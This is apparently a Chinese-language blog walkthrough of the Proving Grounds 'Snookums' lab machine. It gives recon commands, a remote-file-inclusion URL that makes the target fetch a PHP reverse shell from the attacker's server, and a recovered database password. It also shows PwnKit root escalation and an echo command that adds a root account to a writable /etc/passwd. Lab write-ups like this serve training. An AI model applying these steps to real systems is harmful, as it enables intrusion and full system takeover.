Proving Grounds Practice : Snookums Walkthrough

 Proving Grounds Practice : Snookums Walkthrough


Foothole (立足點 ) :

  • 80 發現 Simple PHP Gallery v0.8,但使用 v0.7 的 RCE 成功拿到 Reverse Shell

PE ( 提權 ) :

  • linpeas 跑完 PwnKit 直接 root
  • 另一種方式是 /etc/passwd 檔案可寫入,加入一個 root 使用者,切換使用者提權成功

Rustscan,└─$ rustscan -a 192.168.103.58 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.103.58 | tee snmp



nmap,└─$ sudo nmap -sCV -sA -p 21,22,80,111,139,445,3306,33060 192.168.103.58 | tee nmap     



FTP 可以匿名登入,切換 passive 但甚麼指令都下不了


whatweb,└─$ whatweb -v http://192.168.103.58 | tee whatweb



MySQL 測試登入,IP 被拒絕



enum4linux,└─$ enum4linux -a 192.168.103.58 | tee enum4linux



看來掃到一個使用者 michael



80 /

Simple PHP Photo Gallery v0.8



80 /robots.txt



先查 Exploit-DB,看來有 LFI



LFI 打打看,沒有回應



有看到另外一個 0.7 版本的 RFI



POC 如下,

[+]   site.com/image.php?img= [ PAYLOAD ]



試試看吧,測試遠端開啟 webshell.php 看來有作用

kali 的 HTTP Server 顯示有被存取 webshell.php 但是靶機沒有開啟該網頁

192.168.103.58/image.php?img=http://192.168.45.179/tools/webshell.php



直接改用 Reverse Shell 的 php

http://192.168.103.58/image.php?img=http://192.168.45.179/offsec/pg/58/php-reverse-shell.php



Reverse Shell 進來了,使用者是 apache 但是沒有找到 flag



cat /etc/passwd,發現一個有效的使用者帳號 michael 跟 enum4linux 找到的一樣



在 /var/www/html 底下有一個 db.php ,檔案內容記載了 DB 連線資訊

DB 連線憑證 root:MalapropDoffUtilize1337



登入資料庫發現三組新的憑證

josh     | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= |

michael  | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==     |

serena   | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==



先解析看看 michael 的密碼,因為他是唯一有在 /etc/passwd 裡的帳號

尾碼是 == 看來是 base 64 encode,那就用 base64 解解看

解完後發現尾碼還是 = 感覺做了二次編碼,那就再解一次看看

獲得憑證 michael:HockSydneyCertify123




測試 SSH 登入沒有問題,獲取 local.txt



開始 PE,cat /etc/passwd,只有一個帳號 michael



cat /etc/crontab



sudo -l



SUID check,find / -perm -u=s -type f 2>/dev/null



執行 linpeas,看到有 PwnKit 雖然機率低但有就是先試試看



PwnKit 後直接 root,獲取 proof.txt



補充說明 :

linpeas 還有看到 /etc/passwd 亮橘燈顯示有寫入權限




搜尋可寫入的檔案去掉常見的路徑,確實剩下一個 /etc/passwd

find / -writable -type f 2>/dev/null | grep -v "/proc/" | grep -v "/home" | grep -v 'sys\|var'

或 find / -writable -type f 2>/dev/null | grep -v '/proc/\|/home\|sys\|var'




ls -la 看一下 owner 竟然是 michael



帳號:密碼 --> aries:Oscp#1234

echo "aries:\$1\$qaKzzjN8\$y6Ga3/.6H2y8.LOryHjhZ.:0:0:/root:/bin/bash" >> /etc/passwd

切換使用者提權為 root




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)